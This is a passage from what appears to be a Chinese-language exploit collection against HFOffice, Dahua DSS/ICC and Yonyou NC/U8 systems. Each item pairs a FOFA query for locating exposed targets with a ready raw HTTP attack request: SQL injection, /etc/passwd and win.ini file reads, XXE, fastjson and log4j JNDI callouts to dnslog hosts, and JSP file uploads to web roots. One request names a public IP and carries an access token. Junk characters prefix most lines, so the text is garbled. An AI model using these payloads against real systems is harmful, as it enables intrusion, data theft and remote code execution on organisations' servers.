FOFA：title="HFOffice"
- A5 u# u3 G# C2 Z4 Ppoc中调用函数计算1234的md5值
5 `1 H8 Q8 z1 v8 g, V% `$ WGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
! n5 V$ _5 o& }3 x4 {/ n2 m- q3 LUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 n% _  j" B/ L  ^Connection: close
* p; Z5 n1 s1 Q' x% S( S1 qAccept: */*
: B7 n9 F5 o8 [( j  g" i  x; MAccept-Language: en
0 Y+ f% K2 H$ i7 `Accept-Encoding: gzip
$ ^8 ?2 n# m+ B. S  T0 z
5 t, Y7 K3 Q2 \  `7 a1 q: J
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
. S7 D. c2 ]6 g5 h1 n: n9 {8 A  K( aPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
7 v' S1 G1 L$ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ?* ?! G" X' l5 lConnection: close
# c4 W3 i- c+ U, ^4 qContent-Length: 345
- n" J% v4 {( _. U8 m5 f! t3 H& mAccept-Encoding: gzip

, I# o4 g) x2 \8 H& l% p5 b2 m0 r0 N<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
# t. S8 ~; j% U9 z1 G  v2 R% q- u<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
+ U; _( [; d, l9 E. d' u, y      <netMarkings>
  l& Y2 @1 \8 X. b$ f/ ~9 H       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
+ c+ j/ }3 q. R: C( z$ K      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
( L* f) K* _& a9 F! KGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
; L2 Z% n; m1 L0 q# W& g5 z# fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
4 \2 X* f& o* k# t5 N3 pAccept: */*
9 ?) M0 F$ p) A3 y& j9 G4 H) tConnection: keep-alive



19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, k1 v, P1 y8 k7 s$ f% |  MFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
4 H# M  i. O" s" pHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, Z6 `! l; ]: u( }- k! YAccept-Encoding: gzip, deflate
Accept: */*
( L" G" d9 |; A- ?) o: {" h" U6 _Connection: keep-alive


2 q* o& G% S6 e' D) Q0 S* a7 a20. 大华ICC智能物联综合管理平台任意文件读取
, {# O& L! M% WFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
  m2 `5 w5 k/ z. o- w1 l  lAccept: */*
Accept-Language: en
Accept-Encoding: gzip

& X" p( `: n9 |
$ p8 ]1 t/ c8 b6 x  ~21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
1 v% G6 ^: ?, o: BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) G2 Z  T% ^$ @Content-Length: 161
Accept-Encoding: gzip
Connection: close
6 Y! M; K, B7 A/ f% eContent-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
8 J6 d+ W- b" j& [5 D/ \7 M% z    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
2 S0 Q& r# Z9 o  }""
8 V- j4 e* B% l9 Q# }8 R- L}
4 I/ {6 o' f9 d

0 s- b* s! N8 D* V2 x' m7 [22. 大华ICC智能物联综合管理平台 log4j远程代码执行
  C7 _/ L7 V. P0 e4 p0 E3 G4 dFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
+ O/ e5 \/ k  M: f4 h; n& aHost: your-ip
9 p4 ~" g, p9 d8 y8 D* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ b4 J0 L7 ?8 B% T+ rContent-Type: application/json;charset=utf-8
) c0 }: V+ j' Z6 t9 ?
  [# z- G8 I8 L1 M  i6 {; [7 K4 T$ g{
' h- {( q- u" S! |"loginName":"${jndi:ldap://dnslog}"
}
: `$ U4 q) @6 F0 h) R$ Q
8 y. J6 l  y& c+ s2 d' ~
5 T5 S2 \3 U# [1 ^
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
% H( w7 m8 k( [5 g4 k4 iFOFA：icon_hash="-1935899595"
6 \0 }# a/ O* D0 F9 ?& \7 _7 IPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# U6 X) P/ U: ~+ n( b, H" U* ?& LHost: your-ip
8 p! U' z; H. [, mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: ^! T+ y7 o4 y& U, ?Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
$ p- z! N3 F$ r$ v; y1 g9 eConnection: close

  o# o# W8 J: R0 y7 h{
! N" Y; u; O/ M1 C2 K    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
( J0 t2 t" V, `% S5 c

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
! I' B' U+ [* }# f$ jConnection: close
  E  N2 |& n' jContent-Length: 449
Accept: */*
9 C9 T' a) ~6 V) {4 h+ MAccept-Encoding: gzip
1 H: o$ G# G, f# W  m7 MContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
3 n& i' u6 f( B3 }
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& \- j1 Z7 T/ j# k& |4 c; F0 LContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
5 f& ]8 _! d, R4 M! B& f' r$ _' ^Content-Type: text/plain
& i3 s- K( z- n/ |% j: l. u+ j
! b4 P0 [* e! C9 L: d<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
; R& Q2 n) ?& k4 Y-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
# ~7 Y+ I, Z  I9 x' q! H
" R0 s1 F9 ~  v\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
5 K" b' m5 m3 J$ u-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
' e3 u. U& q  h- `# W

25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
7 c: }; [; E% U9 L2 nPOST /portal/registerServlet HTTP/1.1
Host: your-ip
7 N. u! ~7 y5 Y/ o7 c; ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
' E. q; m& Y2 u4 _! dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
. v$ u8 Y0 K3 n' }  z* m3 Z( X. JAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

- g: f9 m% y7 X' N* d: k$ B+ Ntype=1&dsname=ldap://dnslog


: l! o4 F6 |# u9 }
3 Y( s7 |2 d8 |( ^) d0 w$ y26. 用友NC linkVoucher SQL注入
+ p4 G# q: S' n: p3 TFOFA：app="用友-UFIDA-NC"
% e) E+ a7 m, m: p  ~' Q  g  aGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: u# s2 ~( ~, s0 K& g% k6 v4 ~Content-Type: application/x-www-form-urlencoded
  _5 y9 e& i& `0 J  K; hAccept-Encoding: gzip, deflate
( M- u0 B8 P3 Z  D6 GAccept: */*
Connection: keep-alive

) ?, N- v$ {5 ]- d% C4 x
2 P; o+ S, E* i& q, F' {# p* q27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
9 \( D9 y( t" X; j+ ~GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
; [4 ?  w7 e- Y) PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 \- M% d% u9 W4 ^# }  l: Q, RAccept-Encoding: identity
Connection: close
- ]" d7 U4 J3 U7 ~Content-Type: text/xml; charset=utf-8
0 k8 J9 v! ]) _
- x( d/ n) m( T- L) v# |5 t) m$ B
4 @, w+ `: G5 k* @28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
+ H: d7 K- b) e" \Host: x.x.x.x
4 O- h  X% c+ F0 h; WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

( W, W2 S$ ~9 h  Z6 s7 T------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
  u0 X. s% i9 m4 f" |  bContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
# ~$ d1 ^  k' D$ m. c: f
7 G" A" Y' K# m0 \. W8 B9 x<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
! i/ T8 J3 ], a2 y7 T! a
3 j* L/ F$ z" N/ t9 Z0 i( t, T
& F$ C0 \: O8 Q* j5 z" e6 X" W/uapim/static/pages/nc/head.jsp
& o$ e! X  F! w+ i2 H
0 g& t9 ]7 J8 u, f- C/ Y1 t% V29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
+ f/ s+ M* o( V  bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# J+ D2 z- n+ `6 m$ j# s+ F' \Content-Type: application/x-www-form-urlencoded
1 C/ g, `, C! }1 O1 DAccept-Encoding: gzip, deflate
) t6 h8 O3 p! tAccept: */*
  b8 f% ], Q( [! s3 O% sConnection: keep-alive
0 g, i" E, M; u
. b9 i0 w& V6 v
: x. c) e6 I3 A) S4 s8 `: q) R30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' p; [) }' C1 hPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
/ F, d! n. V4 bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
: Y& T) I$ l% v) i4 p% ^% }% X3 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
2 i8 f" w5 S$ Q+ b+ G/ N6 X' s) n
0 e+ x9 X. t6 I. I------WebKitFormBoundaryH970hbttBhoCyj9V
5 s3 M" V( q3 p1 }Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
( v* z8 G, u- n------WebKitFormBoundaryH970hbttBhoCyj9V--
/ F5 r+ h- x4 L; T9 v" b- R

31. 用友NC runStateServlet SQL注入
version<=6.5
- H  C. V4 O; QFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
" x* ?% I/ p. S- s. sGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
1 V: Z- Y- S$ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
0 x0 H) v6 k* c( @, |- o9 U2 aContent-Type: application/x-www-form-urlencoded
1 y0 A, Z! }/ ?% a4 ]3 r4 `+ Q/ M

32. 用友NC complainbilldetail SQL注入
) f6 x6 q* n, w1 ^3 cversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
- z. C' }. [# HGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" [. I: N: @: J6 G, wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- A7 \9 o* r, L$ u$ h/ P: X6 u7 IContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 N8 s- Y, G( _  \' L) ]Accept: */*
Connection: keep-alive


+ M9 T& E( @( S) t0 k% @. H33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
0 h8 X4 S4 }: R2 r; z/ y. ]4 Z8 JGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) T) ]4 u& Z  _+ w& MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 a# ?, h! N: }0 o( A: C8 DAccept: */*
( M4 G4 W% A1 }1 x5 w$ LConnection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
) ]: P3 e6 ]* {! X7 x5 }0 bFOFA：app="用友-UFIDA-NC"
( X, [  G1 ~' c& j1 C9 EGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 M8 Z) N! Y! @$ ?9 X" BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 q6 S! m+ d& L6 K; c1 uAccept: */*
Connection: keep-alive

5 `3 J' A) m% Z8 `0 T
: k3 O" f* I$ I8 l4 e$ d35. 用友NC-Cloud importhttpscer任意文件上传
. x! ~2 V$ \9 Z% IFOFA：app="用友-NC-Cloud"
7 E" x$ H* s. V& ~5 G- H2 `POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
/ u+ m" r# f# F: l; s/ ~Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
( T, c1 F. A0 C% @. n3 TAccept-Encoding: gzip, deflate
Accept: */*
* R9 ]5 h( J7 w- P7 s: V' E# ?Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
) d: ~" c$ |6 A" D  b& HContent-Length: 190
- l3 X8 l1 b! Q+ D( C% d! r( i* xContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
) l/ p# U- z7 O& k# B) |
" ?& Q  [2 a% I, {--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
4 ^5 k4 U" C% S* x: t7 g  a& o--fd28cb44e829ed1c197ec3bc71748df0--

1 u4 v/ K# L& ?3 B+ U
: a: T+ x6 R+ x$ j36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
7 Y& |1 E# G( m) q) oPOST /uapws/soapFormat.ajax HTTP/1.1
* l9 }. P! B  x/ C2 [: uHost: 192.168.40.130:8989
) N7 n& c8 P' p( G) c2 q& `9 D6 o2 z6 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 e3 B3 x: z9 q! {7 gContent-Length: 263
* a+ l6 `$ T0 s5 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& H" ]0 a2 ~/ z  dAccept-Encoding: gzip, deflate
8 d& g5 V$ S$ V7 w$ o, R  q4 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, F& v2 o4 u) d7 lConnection: close
9 g4 k/ [3 n8 q* l: N: @7 [Content-Type: application/x-www-form-urlencoded
1 s# I, h/ z1 \5 b2 }" _$ xUpgrade-Insecure-Requests: 1
% e, r7 c( [5 X& A  ]
1 d( b: A, f; j: x. Imsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


0 F3 m7 I" M- A5 B$ x" d, m/ \* ^37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
2 l- d' [; k" @' }( N1 V3 `; `. z5 tPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
- V  X* w% |  j0 r: pHost: 192.168.40.130:8989
. L/ D9 ]$ \+ w% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 Q6 i% }! ^2 T  a# O: K1 [Accept-Encoding: gzip, deflate
7 j5 t4 i* y  `( d8 J/ z7 z3 iAccept-Language: zh-CN,zh;q=0.9
( w9 X" B9 ^* e, tConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
+ F/ v8 G* q) a, A( K( eUpgrade-Insecure-Requests: 1
! u( ^4 a. x: K, M
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
- h9 @. i! ~  m+ q2 S<soapenv:Header/>
) f5 I* _" b" V2 K, l: ]<soapenv:Body>
2 R8 s/ Q& K) u) e& B8 f( H: W<iup:getResult>
! X4 @+ ~9 b8 \* C& `6 r' Z  O7 R% k  f<!--type: string-->
<iup:string><![CDATA[
% U- \: u2 S( n. ]* H+ p8 }5 l. X# N<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
7 ~" W# b2 S( ?: M- B- I</soapenv:Body>
- v" ^# u1 d+ [</soapenv:Envelope>


5 z% j' X0 S# M4 `
+ ?) T) K5 D& A, M1 {0 C38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
; O  D$ L5 J3 i! X0 F( kPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
- s0 M$ ]* I& q4 NHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
! U/ j; V" _! M: zContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 N: v5 q9 v' g0 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
; c' L" q5 M/ Y& {* g. a: D
' y5 A7 A% j5 E1 M' y+ g' U: i
+ e- b; p) [1 D* {" P! Q; n5 c39. 用友U8 Cloud RegisterServlet SQL注入
+ w% O2 ~3 J: |  v( G* o% g! VFOFA：title="u8c"
5 i  @$ Y' f% I! i4 UPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
0 h( Q/ |" V- G! f. tContent-Length: 85
& P5 B9 L' F" F6 z' `: a7 _8 RAccept: */*
, W0 Q: M! E) L% ]: ?8 h3 {Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
) \. j! g0 {' _9 }: QAccept-Encoding: gzip
/ @) r- n) r' |- q# o6 O
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


/ X! [3 {' W5 z) b: s% S40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
9 W+ P5 q& M8 U+ {6 X3 oUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
% q" O# l9 ]! N# p( k2 z6 LConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
& ]5 @' C- w0 a
% r* l: l, x6 ]8 _2 [
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
" O; H! ^6 l, s( p% r5 h$ W( ?0 NGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
: M- ~0 J- N0 X, i0 ~. U% PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
, D& |9 J% i/ i; Y3 o, e) R. I9 F2 SAccept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
, v4 H% n8 w, l( vPOST /u8qx/SmartUpload01.jsp HTTP/1.1
* v4 {% [, Q3 a& aHost: x.x.x.x
/ i7 K3 I" c6 e' g0 S+ TContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
% x$ X9 I. R+ v* P0 v! z( H( h! ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
0 o+ f6 @# K4 h0 G) N
PAYLOAD


8 R2 O- Z- H" b9 R, b$ fhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
5 r$ i* y5 V  y4 z* E
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
* y' \  }! V. w! cPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' ?' b* T7 M# s( Q% ^9 Z9 l" PAccept-Language: zh-CN,zh;q=0.9
1 a/ B; J) w7 _7 Z* g3 ZConnection: close
5 B! s6 l) {" [$ ?, [SOAPAction:
% i8 V( }0 m- i* a; q. i0 S$ j: MContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
, ?% J9 N( T1 Q2 r; u/ |   <soapenv:Header/>
5 m) m6 q- J' J) c5 c   <soapenv:Body>
6 w2 u; c& b; c/ P% F      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
' q4 y3 {; g3 a5 C8 W! U         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
1 k2 {9 a4 n& Y      </ser:getUserNameById>
   </soapenv:Body>
* f& v: H0 W( z/ @8 n</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
! u: V8 A& K8 Q- I+ RFOFA:app="用友-GRP-U8"
0 V( W" G" E" J, o, ?7 A8 dGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
" Y1 d9 g& e7 U$ ^Host: your-ip
, f7 ]9 h" R9 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 d2 g4 S( c+ \  lAccept-Encoding: gzip, deflate
( \9 h; d) {' H( I* T) f/ gAccept-Language: zh-CN,zh;q=0.9
Connection: close

( t# u2 @4 N% N7 c
45. 用友GRP-U8 ufgovbank XXE
, W4 T" I% m. a( G& E/ lFOFA：app="用友-GRP-U8"
# y* S  i4 o+ c( M1 o" o1 TPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
3 ]: s+ _3 ]4 W1 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
- u4 ^' e" f- SConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% B7 @9 v8 N; l6 V; M. R% R, Q& DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 k) q3 e' o/ ?, `# s7 \/ XContent-Type: application/x-www-form-urlencoded
2 |( z0 b% {  y" q! eAccept-Encoding: gzip
9 g( L! b+ J0 {/ {- _
- t4 @  r9 }( m7 Q5 P" K2 M( U6 v9 b# ^. s7 qreqData=<?xml version="1.0"?>
+ n& u9 i9 V1 n$ U# }- U<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
" g2 P2 W1 l* W' Y3 b
; D: ?% M, I4 b2 u
